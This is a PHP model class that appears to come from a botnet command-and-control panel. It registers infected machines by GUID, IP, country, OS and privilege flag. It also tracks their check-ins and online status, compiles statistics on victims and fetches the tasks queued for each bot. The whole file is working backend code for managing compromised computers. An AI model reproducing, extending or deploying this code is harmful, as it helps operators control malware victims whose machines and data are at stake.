<?php
namespace app\models;
if(!defined('ACCESS_CONTROL')) {header($_SERVER['SERVER_PROTOCOL']. ' 404'); exit('404 not found');}
use PDO;
use lib\Config;

class Bot extends Model{

    function __construct() {
        parent::__construct();
    }
    public function truncate()
    {
        try{
            $this->core->dbh->beginTransaction();
            $this->core->dbh->exec("TRUNCATE `bots`");
            $this->core->dbh->exec("TRUNCATE `tasks_bots`");
            $this->core->dbh->commit();
        }catch (\PDOException $e){
            $this->core->dbh->rollback();
            trigger_error($e->getMessage(), E_USER_WARNING);
        }
    }

    public function pagination($page=1, $per_page=2, array $options=array())
    {
        $sql = "SELECT * FROM `bots` WHERE 1 ORDER BY `id` ASC LIMIT ".($page>1 ? (($per_page*$page - $per_page).", $per_page"): $per_page);
        return $this->core->dbh->query($sql)->fetchAll(PDO::FETCH_ASSOC);

    }
    public function total_bots(array $options = array())
    {
        $sql = "SELECT count(*) FROM `bots` WHERE 1";
        return $this->core->dbh->query($sql)->fetchAll(PDO::FETCH_COLUMN);
    }

    public function today_bots()
    {
        $sql = "SELECT count(*) FROM `bots` WHERE DATE(`created_at`) = '".date('Y-m-d')."'";
        return $this->core->dbh->query($sql)->fetchAll(PDO::FETCH_COLUMN);
    }
    public function online_bots()
    {
	$t_o = 	(time()-Config::read('bot_is_online'));
	$time_on = date('Y-m-d H:i:s',$t_o);
        $sql = "SELECT count(*) FROM `bots` WHERE `last_visit_at` > '$time_on'";
        return $this->core->dbh->query($sql)->fetchAll(PDO::FETCH_COLUMN);
    }

    public function deleteBots($visit_ago)
    {
        $this->core->dbh->exec("DELETE a.*, b.*  FROM `bots` as a LEFT JOIN `tasks_bots` as b ON a.`guid` = b.`bot_guid` WHERE a.`last_visit_at` < '".date('Y-m-d H:i:s', time()-$visit_ago)."'");
    }
    public function insertBot()
    {
        if($this->is_valid())
        {

            $sql = 'INSERT INTO `bots` SET `guid`=:guid, `ip`= :ip,  `country` = :country, `bits`=:bits, `pl`=:pl, `os`=:os, `created_at` = :now, `last_visit_at` = :now ON DUPLICATE KEY UPDATE `last_visit_at` = :now, `country` = :country';
            $stmt = $this->core->dbh->prepare($sql);

            /** @var $stmt \PDOStatement */
            try{
                if ($stmt->execute(array(
                    'guid'      =>  $this->guid,
                    'ip'        =>  $this->ip,
                    'country'   =>  $this->country,
                    'bits'      =>  $this->bits,
                    'pl'        =>  $this->pl,
                    'os'        =>  $this->os,
                    'now'       =>  date('Y-m-d H:i:s'))))

                    return $this->core->dbh->lastInsertId();
            }catch (\PDOException $e){
                trigger_error($e->getMessage()."\ndata: ".serialize($this->_data), E_ERROR);
            }
        }else{
            trigger_error("Validation bot data error\ndata: ".serialize($this->_data), E_WARNING);
        }
        return false;
    }

    public function stats()
    {
        $keys = ['os', 'pl', 'bits'];
        $stats = array(
            'countries' =>  [],
            'os'        =>  [],
            'pl'        =>  [],
            'bits'      =>  [],
            'total'     =>  0,
        );
        $sql = "SELECT COUNT(*) as 'count', `country`, `bits`, `pl`, `os` FROM `bots` GROUP BY `country`, `bits`, `pl`, `os`";
        $tmp = $this->core->dbh->query($sql)->fetchAll(PDO::FETCH_ASSOC);

        if($tmp)
        {

            foreach($tmp as $stat)
            {
                $stats['total']+=$stat['count'];
                $country = !$stat['country']?'--':$stat['country'];
                if(!isset($stats['countries'][$country]))
                    $stats['countries'][$country] = 0;
                $stats['countries'][$country] += $stat['count'];

                foreach($keys as $key)
                {
                    if(!isset($stats[$key][$stat[$key]]))
                        $stats[$key][$stat[$key]] = 0;
                    $stats[$key][$stat[$key]] += $stat['count'];
                }
            }
            foreach($stats as $key=>&$stat)
            {
                if($key=='total')
                    continue;
                arsort($stat);
            }
        }
        return $stats;
    }

    public function getBotTasks()
    {
        $sql = "SELECT `task_id` FROM `tasks_bots` WHERE `bot_guid` = :guid";
        $prepare = $this->core->dbh->prepare($sql);
        /** @var $prepare \PDOStatement */
        $prepare->execute(array('guid'=>$this->guid));
        return $prepare->fetchAll(PDO::FETCH_COLUMN);
    }


    public function is_valid()
    {
        if(empty($this->_data['guid']) || strlen($this->_data['guid']) != 16 || !ctype_xdigit($this->_data['guid']))
            array_push($this->_errors, 'Wrong guid: '.$this->guid);
        if(empty($this->_data['bits']) || !in_array($this->_data['bits'], [32, 64]))
            array_push($this->_errors, 'Wrong bits: '.$this->bits);
        if(!isset($this->_data['pl']) || (!in_array($this->_data['pl'], [0, 1])))
            array_push($this->_errors, 'Wrong pl');
        if(!isset($this->_data['os']) || (!in_array($this->_data['os'], range(0,10))))
            array_push($this->_errors, 'Wrong os');

        return empty($this->_errors);
    }
}

